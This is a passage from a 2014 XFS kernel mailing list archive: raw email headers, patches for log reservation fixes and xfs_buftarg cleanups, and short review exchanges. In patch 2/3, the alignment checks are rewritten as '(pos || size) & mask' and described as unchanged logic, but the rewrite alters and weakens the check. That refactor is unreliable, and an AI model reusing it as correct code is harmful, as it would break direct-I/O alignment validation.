a/fs/xfs/xfs_trans_resv.c b/fs/xfs/xfs_trans_resv.c index 2fd59c0..60b7d40 100644 --- a/fs/xfs/xfs_trans_resv.c +++ b/fs/xfs/xfs_trans_resv.c @@ -651,8 +651,7 @@ STATIC uint xfs_calc_qm_dqalloc_reservation( struct xfs_mount *mp) { - ASSERT(M_RES(mp)->tr_write.tr_logres); - return M_RES(mp)->tr_write.tr_logres + + return xfs_calc_write_reservation(mp) + xfs_calc_buf_res(1, XFS_FSB_TO_B(mp, XFS_DQUOT_CLUSTER_SIZE_FSB) - 1); } -- 1.8.1.4 From sandeen@sandeen.net Fri Jan 17 12:11:56 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 497787F55 for ; Fri, 17 Jan 2014 12:11:56 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2F8768F8071 for ; Fri, 17 Jan 2014 10:11:53 -0800 (PST) X-ASG-Debug-ID: 1389982311-04cb6c5b3195060001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id qRdicX4vw9OoGTXW for ; Fri, 17 Jan 2014 10:11:52 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 9812263BEBCB; Fri, 17 Jan 2014 12:11:51 -0600 (CST) Message-ID: <52D97289.7030401@sandeen.net> Date: Fri, 17 Jan 2014 12:12:25 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Brian Foster , xfs@oss.sgi.com Subject: Re: [PATCH] xfs: use tr_qm_dqalloc log reservation for dquot alloc References: <1389981723-54311-1-git-send-email-bfoster@redhat.com> X-ASG-Orig-Subj: Re: [PATCH] xfs: use tr_qm_dqalloc log reservation for dquot alloc In-Reply-To: <1389981723-54311-1-git-send-email-bfoster@redhat.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1389982311 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144185 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 1/17/14, 12:02 PM, Brian Foster wrote: > The dquot allocation path in xfs_qm_dqread() currently uses the > attribute set log reservation, which appears to be incorrect. We > have reports of transaction reservation overruns with the current > code. E.g., a repeated run of xfstests test generic/270 on a 512b > block size fs occassionally produces the following in dmesg: > > XFS (sdN): xlog_write: reservation summary: > trans type = QM_DQALLOC (30) > unit res = 7080 bytes > current res = -632 bytes > total reg = 0 bytes (o/flow = 0 bytes) > ophdrs = 0 (ophdr space = 0 bytes) > ophdr + reg = 0 bytes > num regions = 0 > > XFS (sdN): xlog_write: reservation ran out. Need to up reservation > > The dquot allocation case should consist of a write reservation > (i.e., we are allocating a range of the internal quota file) plus > the size of the actual dquots. We already have a log reservation > definition for this operation (tr_qm_dqalloc). Use it in > xfs_qm_dqread() and update the log reservation calculation function > to use the write res. calculation function rather than reading the > assumed to be pre-calculated value directly. good catch; I think there is at least one more issue in the patch that refactored all of this: - if ((error = xfs_trans_reserve(tp, resblks, - XFS_GROWRTALLOC_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, - XFS_DEFAULT_PERM_LOG_COUNT))) + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_growdata, + resblks, 0); shouldn't it be tr_growrtalloc ? -Eric > Signed-off-by: Brian Foster > --- > Hi all, > > This issue was reported here: > > https://bugzilla.redhat.com/show_bug.cgi?id=1052787 > > ... and the patch seems to address the reservation overrun from my testing. > It also runs through an xfstests regression. Thanks. > > Brian > > fs/xfs/xfs_dquot.c | 2 +- > fs/xfs/xfs_trans_resv.c | 3 +-- > 2 files changed, 2 insertions(+), 3 deletions(-) > > diff --git a/fs/xfs/xfs_dquot.c b/fs/xfs/xfs_dquot.c > index 6b1e695..06280c6 100644 > --- a/fs/xfs/xfs_dquot.c > +++ b/fs/xfs/xfs_dquot.c > @@ -614,7 +614,7 @@ xfs_qm_dqread( > > if (flags & XFS_QMOPT_DQALLOC) { > tp = xfs_trans_alloc(mp, XFS_TRANS_QM_DQALLOC); > - error = xfs_trans_reserve(tp, &M_RES(mp)->tr_attrsetm, > + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_qm_dqalloc, > XFS_QM_DQALLOC_SPACE_RES(mp), 0); > if (error) > goto error1; > diff --git a/fs/xfs/xfs_trans_resv.c b/fs/xfs/xfs_trans_resv.c > index 2fd59c0..60b7d40 100644 > --- a/fs/xfs/xfs_trans_resv.c > +++ b/fs/xfs/xfs_trans_resv.c > @@ -651,8 +651,7 @@ STATIC uint > xfs_calc_qm_dqalloc_reservation( > struct xfs_mount *mp) > { > - ASSERT(M_RES(mp)->tr_write.tr_logres); > - return M_RES(mp)->tr_write.tr_logres + > + return xfs_calc_write_reservation(mp) + > xfs_calc_buf_res(1, > XFS_FSB_TO_B(mp, XFS_DQUOT_CLUSTER_SIZE_FSB) - 1); > } > From bfoster@redhat.com Fri Jan 17 12:34:00 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6C3C87F6F for ; Fri, 17 Jan 2014 12:34:00 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 429C4304043 for ; Fri, 17 Jan 2014 10:34:00 -0800 (PST) X-ASG-Debug-ID: 1389983639-04cbb04168e64750001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id CTTp6sfiQVnWYaMV for ; Fri, 17 Jan 2014 10:33:59 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s0HIXxG4029427 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 17 Jan 2014 13:33:59 -0500 Received: from laptop.bfoster (vpn-57-107.rdu2.redhat.com [10.10.57.107]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s0HIXtVf002606 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 17 Jan 2014 13:33:58 -0500 Message-ID: <52D97793.70605@redhat.com> Date: Fri, 17 Jan 2014 13:33:55 -0500 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Eric Sandeen , xfs@oss.sgi.com Subject: Re: [PATCH] xfs: use tr_qm_dqalloc log reservation for dquot alloc References: <1389981723-54311-1-git-send-email-bfoster@redhat.com> <52D97289.7030401@sandeen.net> X-ASG-Orig-Subj: Re: [PATCH] xfs: use tr_qm_dqalloc log reservation for dquot alloc In-Reply-To: <52D97289.7030401@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1389983639 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 01/17/2014 01:12 PM, Eric Sandeen wrote: > On 1/17/14, 12:02 PM, Brian Foster wrote: >> The dquot allocation path in xfs_qm_dqread() currently uses the >> attribute set log reservation, which appears to be incorrect. We >> have reports of transaction reservation overruns with the current >> code. E.g., a repeated run of xfstests test generic/270 on a 512b >> block size fs occassionally produces the following in dmesg: >> >> XFS (sdN): xlog_write: reservation summary: >> trans type = QM_DQALLOC (30) >> unit res = 7080 bytes >> current res = -632 bytes >> total reg = 0 bytes (o/flow = 0 bytes) >> ophdrs = 0 (ophdr space = 0 bytes) >> ophdr + reg = 0 bytes >> num regions = 0 >> >> XFS (sdN): xlog_write: reservation ran out. Need to up reservation >> >> The dquot allocation case should consist of a write reservation >> (i.e., we are allocating a range of the internal quota file) plus >> the size of the actual dquots. We already have a log reservation >> definition for this operation (tr_qm_dqalloc). Use it in >> xfs_qm_dqread() and update the log reservation calculation function >> to use the write res. calculation function rather than reading the >> assumed to be pre-calculated value directly. > > > good catch; I think there is at least one more issue in the patch that > refactored all of this: > > - if ((error = xfs_trans_reserve(tp, resblks, > - XFS_GROWRTALLOC_LOG_RES(mp), 0, > - XFS_TRANS_PERM_LOG_RES, > - XFS_DEFAULT_PERM_LOG_COUNT))) > + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_growdata, > + resblks, 0); > > shouldn't it be tr_growrtalloc ? > Yep, looks like it. XFS_GROWRTALLOC_LOG_RES() maps to tr_growrtalloc prior to that commit (3d3c8b5222). Thanks for catching that, I'll fire another one off shortly... Brian > -Eric > >> Signed-off-by: Brian Foster >> --- >> Hi all, >> >> This issue was reported here: >> >> https://bugzilla.redhat.com/show_bug.cgi?id=1052787 >> >> ... and the patch seems to address the reservation overrun from my testing. >> It also runs through an xfstests regression. Thanks. >> >> Brian >> >> fs/xfs/xfs_dquot.c | 2 +- >> fs/xfs/xfs_trans_resv.c | 3 +-- >> 2 files changed, 2 insertions(+), 3 deletions(-) >> >> diff --git a/fs/xfs/xfs_dquot.c b/fs/xfs/xfs_dquot.c >> index 6b1e695..06280c6 100644 >> --- a/fs/xfs/xfs_dquot.c >> +++ b/fs/xfs/xfs_dquot.c >> @@ -614,7 +614,7 @@ xfs_qm_dqread( >> >> if (flags & XFS_QMOPT_DQALLOC) { >> tp = xfs_trans_alloc(mp, XFS_TRANS_QM_DQALLOC); >> - error = xfs_trans_reserve(tp, &M_RES(mp)->tr_attrsetm, >> + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_qm_dqalloc, >> XFS_QM_DQALLOC_SPACE_RES(mp), 0); >> if (error) >> goto error1; >> diff --git a/fs/xfs/xfs_trans_resv.c b/fs/xfs/xfs_trans_resv.c >> index 2fd59c0..60b7d40 100644 >> --- a/fs/xfs/xfs_trans_resv.c >> +++ b/fs/xfs/xfs_trans_resv.c >> @@ -651,8 +651,7 @@ STATIC uint >> xfs_calc_qm_dqalloc_reservation( >> struct xfs_mount *mp) >> { >> - ASSERT(M_RES(mp)->tr_write.tr_logres); >> - return M_RES(mp)->tr_write.tr_logres + >> + return xfs_calc_write_reservation(mp) + >> xfs_calc_buf_res(1, >> XFS_FSB_TO_B(mp, XFS_DQUOT_CLUSTER_SIZE_FSB) - 1); >> } >> > From bfoster@redhat.com Fri Jan 17 14:09:41 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E9FD07F53 for ; Fri, 17 Jan 2014 14:09:41 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id C4013304048 for ; Fri, 17 Jan 2014 12:09:38 -0800 (PST) X-ASG-Debug-ID: 1389989373-04bdf00fdf76e210001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id nYjB549SUbSiyK42 for ; Fri, 17 Jan 2014 12:09:34 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s0HK9Wmj003616 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 17 Jan 2014 15:09:33 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s0HK9WDs032201 for ; Fri, 17 Jan 2014 15:09:32 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id F2CD712509A; Fri, 17 Jan 2014 15:09:30 -0500 (EST) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH] xfs: use tr_growrtalloc for growing rt files Date: Fri, 17 Jan 2014 15:09:30 -0500 X-ASG-Orig-Subj: [PATCH] xfs: use tr_growrtalloc for growing rt files Message-Id: <1389989370-12159-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1389989374 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 This is a regression from the following commit: 3d3c8b5222b9 xfs: refactor xfs_trans_reserve() interface Use the tr_growrtalloc log reservation for growing the bitmap/summary files. Signed-off-by: Brian Foster --- fs/xfs/xfs_rtalloc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fs/xfs/xfs_rtalloc.c b/fs/xfs/xfs_rtalloc.c index a6a76b2..ec5ca65 100644 --- a/fs/xfs/xfs_rtalloc.c +++ b/fs/xfs/xfs_rtalloc.c @@ -842,7 +842,7 @@ xfs_growfs_rt_alloc( /* * Reserve space & log for one extent added to the file. */ - error = xfs_trans_reserve(tp, &M_RES(mp)->tr_growdata, + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_growrtalloc, resblks, 0); if (error) goto error_cancel; -- 1.8.1.4 From sandeen@sandeen.net Fri Jan 17 14:22:41 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4ACB07F52 for ; Fri, 17 Jan 2014 14:22:41 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id D4FE9AC002 for ; Fri, 17 Jan 2014 12:22:37 -0800 (PST) X-ASG-Debug-ID: 1389990156-04cb6c537ee53ca0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id QN9tpjFWThqsV4XP for ; Fri, 17 Jan 2014 12:22:36 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 69A7163BEBCB for ; Fri, 17 Jan 2014 14:22:36 -0600 (CST) Message-ID: <52D9910C.9000205@sandeen.net> Date: Fri, 17 Jan 2014 14:22:36 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH 0/3 V2] xfs: allow logical-sector sized O_DIRECT for any fs sector size References: <52D6CC91.6000408@redhat.com> X-ASG-Orig-Subj: [PATCH 0/3 V2] xfs: allow logical-sector sized O_DIRECT for any fs sector size In-Reply-To: <52D6CC91.6000408@redhat.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1389990156 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144189 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Resend of the previous patch, now in 3 parts, incorporating some of Dave's suggestions, and split up for SUPER-easy review. ;) I have explicitly not changed XFS_IOC_DIOINFO output for now; it still reports the actual minimum sizes and alignments which will be allowed by the filesystem (and block layer beneath it). Thanks, -Eric From sandeen@sandeen.net Fri Jan 17 14:23:55 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E6FFE7F52 for ; Fri, 17 Jan 2014 14:23:55 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id BD6618F8071 for ; Fri, 17 Jan 2014 12:23:55 -0800 (PST) X-ASG-Debug-ID: 1389990233-04bdf00fdf76e820001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id Lj7nQvbrwDqHglZ1 for ; Fri, 17 Jan 2014 12:23:53 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id E197663BEBCB for ; Fri, 17 Jan 2014 14:23:52 -0600 (CST) Message-ID: <52D99158.8070108@sandeen.net> Date: Fri, 17 Jan 2014 14:23:52 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH 1/3] xfs: clean up xfs_buftarg References: <52D6CC91.6000408@redhat.com> <52D9910C.9000205@sandeen.net> X-ASG-Orig-Subj: [PATCH 1/3] xfs: clean up xfs_buftarg In-Reply-To: <52D9910C.9000205@sandeen.net> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1389990233 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144189 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Clean up the xfs_buftarg structure a bit: - remove bt_bsize, which is never used - replace bt_sshift with bt_ssize; we only ever shift it back to a size anyway Signed-off-by: Eric Sandeen --- diff --git a/fs/xfs/xfs_buf.c b/fs/xfs/xfs_buf.c index 9fccfb5..b664bce 100644 --- a/fs/xfs/xfs_buf.c +++ b/fs/xfs/xfs_buf.c @@ -445,7 +445,7 @@ _xfs_buf_find( numbytes = BBTOB(numblks); /* Check for IOs smaller than the sector size / not sector aligned */ - ASSERT(!(numbytes < (1 << btp->bt_sshift))); + ASSERT(!(numbytes < btp->bt_ssize)); ASSERT(!(BBTOB(blkno) & (xfs_off_t)btp->bt_smask)); /* @@ -1599,8 +1599,7 @@ xfs_setsize_buftarg( unsigned int blocksize, unsigned int sectorsize) { - btp->bt_bsize = blocksize; - btp->bt_sshift = ffs(sectorsize) - 1; + btp->bt_ssize = sectorsize; btp->bt_smask = sectorsize - 1; if (set_blocksize(btp->bt_bdev, sectorsize)) { diff --git a/fs/xfs/xfs_buf.h b/fs/xfs/xfs_buf.h index 1cf21a4..4ef949a 100644 --- a/fs/xfs/xfs_buf.h +++ b/fs/xfs/xfs_buf.h @@ -93,8 +93,7 @@ typedef struct xfs_buftarg { struct block_device *bt_bdev; struct backing_dev_info *bt_bdi; struct xfs_mount *bt_mount; - unsigned int bt_bsize; - unsigned int bt_sshift; + unsigned int bt_ssize; size_t bt_smask; /* LRU control structures */ diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index 33ad9a7..39c38ee 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -1587,7 +1587,7 @@ xfs_file_ioctl( XFS_IS_REALTIME_INODE(ip) ? mp->m_rtdev_targp : mp->m_ddev_targp; - da.d_mem = da.d_miniosz = 1 << target->bt_sshift; + da.d_mem = da.d_miniosz = target->bt_ssize; da.d_maxiosz = INT_MAX & ~(da.d_miniosz - 1); if (copy_to_user(arg, &da, sizeof(da))) From sandeen@sandeen.net Fri Jan 17 14:26:16 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4A0367F52 for ; Fri, 17 Jan 2014 14:26:16 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id B2C2DAC005 for ; Fri, 17 Jan 2014 12:26:15 -0800 (PST) X-ASG-Debug-ID: 1389990374-04cbb04168e674f0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id RwJTQioaXVUaPiW3 for ; Fri, 17 Jan 2014 12:26:14 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 2363163BEBCB for ; Fri, 17 Jan 2014 14:26:14 -0600 (CST) Message-ID: <52D991E5.1010300@sandeen.net> Date: Fri, 17 Jan 2014 14:26:13 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH 2/3] xfs: rename xfs_buftarg structure members References: <52D6CC91.6000408@redhat.com> <52D9910C.9000205@sandeen.net> X-ASG-Orig-Subj: [PATCH 2/3] xfs: rename xfs_buftarg structure members In-Reply-To: <52D9910C.9000205@sandeen.net> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1389990374 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144189 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- In preparation for adding new members to the xfs_buftarg structure, give these old ones more descriptive names: bt_ssize -> bt_meta_sectorsize bt_smask -> bt_meta_sectormask (Note the slight change in logic format in xfs_file_aio_read(() and xfs_file_dio_aio_write(); this was done just for formatting, and should not change actual logic or behavior.) Signed-off-by: Eric Sandeen --- diff --git a/fs/xfs/xfs_buf.c b/fs/xfs/xfs_buf.c index b664bce..a526f8d 100644 --- a/fs/xfs/xfs_buf.c +++ b/fs/xfs/xfs_buf.c @@ -445,8 +445,8 @@ _xfs_buf_find( numbytes = BBTOB(numblks); /* Check for IOs smaller than the sector size / not sector aligned */ - ASSERT(!(numbytes < btp->bt_ssize)); - ASSERT(!(BBTOB(blkno) & (xfs_off_t)btp->bt_smask)); + ASSERT(!(numbytes < btp->bt_meta_sectorsize)); + ASSERT(!(BBTOB(blkno) & (xfs_off_t)btp->bt_meta_sectormask)); /* * Corrupted block numbers can get through to here, unfortunately, so we @@ -1599,8 +1599,8 @@ xfs_setsize_buftarg( unsigned int blocksize, unsigned int sectorsize) { - btp->bt_ssize = sectorsize; - btp->bt_smask = sectorsize - 1; + btp->bt_meta_sectorsize = sectorsize; + btp->bt_meta_sectormask = sectorsize - 1; if (set_blocksize(btp->bt_bdev, sectorsize)) { char name[BDEVNAME_SIZE]; diff --git a/fs/xfs/xfs_buf.h b/fs/xfs/xfs_buf.h index 4ef949a..d5d88dd 100644 --- a/fs/xfs/xfs_buf.h +++ b/fs/xfs/xfs_buf.h @@ -93,8 +93,8 @@ typedef struct xfs_buftarg { struct block_device *bt_bdev; struct backing_dev_info *bt_bdi; struct xfs_mount *bt_mount; - unsigned int bt_ssize; - size_t bt_smask; + unsigned int bt_meta_sectorsize; + size_t bt_meta_sectormask; /* LRU control structures */ struct shrinker bt_shrinker; diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c index 52c91e1..61a7de0 100644 --- a/fs/xfs/xfs_file.c +++ b/fs/xfs/xfs_file.c @@ -261,7 +261,7 @@ xfs_file_aio_read( xfs_buftarg_t *target = XFS_IS_REALTIME_INODE(ip) ? mp->m_rtdev_targp : mp->m_ddev_targp; - if ((pos & target->bt_smask) || (size & target->bt_smask)) { + if ((pos || size) & target->bt_meta_sectormask) { if (pos == i_size_read(inode)) return 0; return -XFS_ERROR(EINVAL); @@ -641,7 +641,7 @@ xfs_file_dio_aio_write( struct xfs_buftarg *target = XFS_IS_REALTIME_INODE(ip) ? mp->m_rtdev_targp : mp->m_ddev_targp; - if ((pos & target->bt_smask) || (count & target->bt_smask)) + if ((pos || count) & target->bt_meta_sectormask) return -XFS_ERROR(EINVAL); if ((pos & mp->m_blockmask) || ((pos + count) & mp->m_blockmask)) diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index 39c38ee..64ca8e9 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -1587,7 +1587,7 @@ xfs_file_ioctl( XFS_IS_REALTIME_INODE(ip) ? mp->m_rtdev_targp : mp->m_ddev_targp; - da.d_mem = da.d_miniosz = target->bt_ssize; + da.d_mem = da.d_miniosz = target->bt_meta_sectorsize; da.d_maxiosz = INT_MAX & ~(da.d_miniosz - 1); if (copy_to_user(arg, &da, sizeof(da))) From sandeen@sandeen.net Fri Jan 17 14:28:08 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 263817F75 for ; Fri, 17 Jan 2014 14:28:08 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8F8B2AC002 for ; Fri, 17 Jan 2014 12:28:07 -0800 (PST) X-ASG-Debug-ID: 1389990486-04cbb04166e675a0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id aLLneLaxbcjeTrMJ for ; 